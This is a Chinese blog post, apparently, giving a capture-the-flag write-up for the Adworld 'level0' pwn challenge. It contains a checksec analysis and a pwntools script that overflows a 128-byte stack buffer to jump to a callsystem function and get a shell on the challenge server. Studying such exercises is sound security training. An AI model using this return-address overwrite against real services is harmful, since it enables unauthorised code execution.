攻防世界level0机器码形式payload

第一次写出了机器码payload哈哈哈

from pwn import *
context.log_level='debug'
#r=remote('220.249.52.134',53019)
r=process('./level0')
system_call=0x400596
ret_addr=0x400431
#payload
### 攻防世界 Level 0 解决方案 #### 1. 初步分析 Level 0攻防世界中的一道基础 PWN 题目,主要考察对栈溢出漏洞的理解与利用。程序运行后会输出 `Hello, World` 并等待用户输入数据。通过检查二进制文件的安全特性,可以发现以下信息: - **Relro**: No Relro,意味着 GOT 表未被保护,可以通过修改 GOT 表实现攻击[^1]。 - **Stack Canary**: No Canary found,说明程序没有启用栈保护机制,存在栈溢出的可能性[^1]。 - **NX**: NX enable,表明栈上的代码不可执行,需要借助 ROP 或其他技术绕过此限制。 - **PIE**: NO PIE,程序未启用地址随机化,基地址固定为 `0x400000`[^1]。 #### 2. 漏洞利用 根据引用内容可知,程序中存在栈溢出漏洞。`buf` 的长度为 128 字节(即 `0x80`),但 `read()` 函数允许读取多达 `0x200` 字节的数据,超出部分将覆盖栈上的其他数据结构[^2]。 为了成功获取 shell,需要构造一个 payload,具体步骤如下: - 使用 `0x80` 个字符填充 `buf`。 - 再用 `0x8` 个字节填充保存的寄存器值(如 `rbp`)。 - 最后写入目标函数地址或系统调用地址。 #### 3. Payload 构造 以下是基于 Python 和 pwntools 的解决方案代码示例: ```python from pwn import * # 远程连接 io = remote('111.200.241.244', 65224) # callsystem 函数地址 callsystem = 0x400596 # 构造 payload payload = b'a' * 0x80 # 填充 buf payload += b'a' * 0x8 # 填充保存的 rbp payload += p64(callsystem) # 写入 callsystem 地址 # 发送 payload io.send(payload) # 交互模式 io.interactive() ``` 上述代码中,`p64()` 函数用于将地址转换为小端格式的 64 位值,确保正确传递到程序中[^3]。 #### 4. 获取 Shell 通过上述 payload,程序将跳转至 `callsystem` 函数执行,从而获得一个交互式的 shell。此时可以输入命令以完成题目要求,例如读取 flag 文件内容。 --- ### 注意事项 - 如果在运行脚本时遇到 `ImportError: No module named pwn` 错误,请确保已安装 pwntools 库,并在 Kali Linux 环境下操作[^3]。 - 题目中提到的 `/bin/sh` 字符串是 Unix/Linux 系统中的 shell 程序路径,在 PWN 题目中常用于触发系统命令执行。 ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

叶叶扁舟

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值